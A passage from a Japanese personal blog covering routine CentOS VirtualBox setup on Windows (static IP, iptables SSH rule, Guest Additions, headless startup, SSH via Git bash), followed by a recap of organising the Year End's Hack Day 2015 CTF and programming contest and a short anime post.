NM_CONTROLLED=yes
BOOTPROTO=static
IPADDR=xx.xx.xx.xx
NETMASK=xx.xx.xx.xx
GATEWAY=xx.xx.xx.xx
IPV6INIT=no


これでIPが固定できるはずなので, ネットワークを再起動します

# service network restart


インターネットに接続出来ていることをping等で確認してみてください

繋がっていたらシステムのアップデートを行います

# yum -y update

アップデートが終わったら一度VMの電源を落とします

特に設定を弄っていないのであれば初期設定ではNATで接続しているはずです
f:id:kkrnt:20160204125948p:plain

NATはポートフォワーディングができるので, これでWindowsからVMSSHできるように設定しましょう
f:id:kkrnt:20160204130107p:plain

これでWindows側で127.0.0.1の22ポートにアクセスするとVMの22ポートに繋がります

VM側でもWindowsから接続できるようにiptablesの設定をしましょう
VMを起動し, iptablesにルールを追加します

# iptables -I INPUT -p tcp --dport 22 -j ACCEPT
# service iptables save
# service iptables restart


次にVirtual BoxのGuest Additionsをインストールします
ビルドに必要なものをインストールします

# yum -y groupinstall "Development Tools"

次にVMのメニューバーからデバイス→Guest Additions CDイメージの挿入を選択します
イメージをマウントし, インストールします

# mount /dev/cdrom /mnt
# cd /mnt
# ./VBoxLinuxAdditions.run
# umount /mnt

X Windows系のビルドは失敗しますが, 必要ないので無視します
VMを終了し, VMの設定から共有フォルダを追加します
(自動マウントにしたほうが良いでしょう)
f:id:kkrnt:20160204132243p:plain
これでLinux側から/mediaにアクセスすると, Windowsのファイルにアクセスすることが出来ます
f:id:kkrnt:20160204151138p:plain
以上でVMの用意は完了です

後はWindowsが起動(ユーザがログオン)したら, VMをバックグラウンドで起動させるように設定します
vboxmanage.exeに対して以下のような引数を渡すことでそれが可能です

vboxmanage startvm "vmの名前" --type headless

これをbatファイル等に保存し, スタートアップに登録します
batだとcmdが一瞬出てきてダサいかも
C#だとこんな感じ

using System.Diagnostics;

class Program
{
    static void Main()
    {
        var psi = new ProcessStartInfo();
        psi.FileName = "vboxmanage.exe";
        psi.Arguments = "startvm \"linux\" --type headless";
        psi.WindowStyle = ProcessWindowStyle.Hidden;
        psi.CreateNoWindow = false;
        var p = Process.Start(psi);
        p.WaitForExit();
    }
}

後はTera Term等からSSHで接続すれば完成です


ssh接続に関してですが, Tera Term等を使っても良いですが, 僕としてはGitに付属してるものを利用するのがオススメです
フツーにインストールすると

C:\Program Files\Git

あたりにインストールされると思うので, そこのbinのbash.exeに対して以下のようなコマンドを渡すと良いです

@echo off
bash -c "ssh -i vm.key root@127.0.0.1 -t 'cd C/Users/kkrnt/Desktop; /bin/bash'"

(Cドライブを共有フォルダとしてホームディレクトリにシンボリックリンクしていて, 公開鍵でsshできることを前提としています)

これを応用するとこんな感じに出来ます

ここが参考になります
qiita.com


使ってみた感じだとWindowsでの作業にも支障はなく, とても快適です

Year End's Hack Day 2015を開催しました

今年もYear End's Hack Dayを開催しました!
サイトはこちら
Year End's HackDay 2015



去年の話はこちら
kkrnt.hatenablog.com



今年はCTFと競プロを同時に、合計スコアで競うコンテストとなりました
運営は委員長の3846先輩と競プロ担当のt8m8先輩、それとCTF担当の僕でした

去年のYEHDやfmsctfは学内で行っていたんですが、折角だし外部の人も交えてやりたいなーってことで、dotsさんのイベントスペースをお借りして行いました
めっちゃ立地良いし、綺麗だし、電源もインターネットもあるし、最高でした、本当にありがとうございました!
eventdots.jp


CTFに関してはこちらで公開してますので、是非やってみて下さい^^;
YEHD 2015 CTF

github.com


問題は殆どが簡単なもので、まぁプロなら30分くらいで全完出来るだろうという想定です
ランキング機能もないですし、練習用ってこともあって、Writeupは公開してもらって大丈夫です、むしろ大歓迎です
公開するときに #yehd とか #yehd2015 みたいにタグ付けてtweetとかしてくれると更に嬉しいです!



反省点としては

  • またギリギリまで終わらなかった
  • CTFと競プロの問題数・難易度が結構違う
  • オンサイトらしい問題とかYear Endっぽい問題がなかった
  • ウチの部員、CTF全然解いてないし、興味ないのでは?

開催した日時がアレで、某勉強会や某ミニキャンプとかめっちゃ被ってて申し訳なかったです…ごめんなさいm(__)m
もし来年開催するとしたら、そ
の辺もうちょっと考慮しようと思います…


終わったあとの懇親会、店員さんとかみんなの話とかめっちゃ楽しかったです^^;

来年も開催出来ると良いよね…

#2015年放送のアニメで1話でも見たやつから好きなキャラを1人ずつ挙げていく

そんなわけでツラツラと書いておきます









ちょいちょい書き忘れがあるかも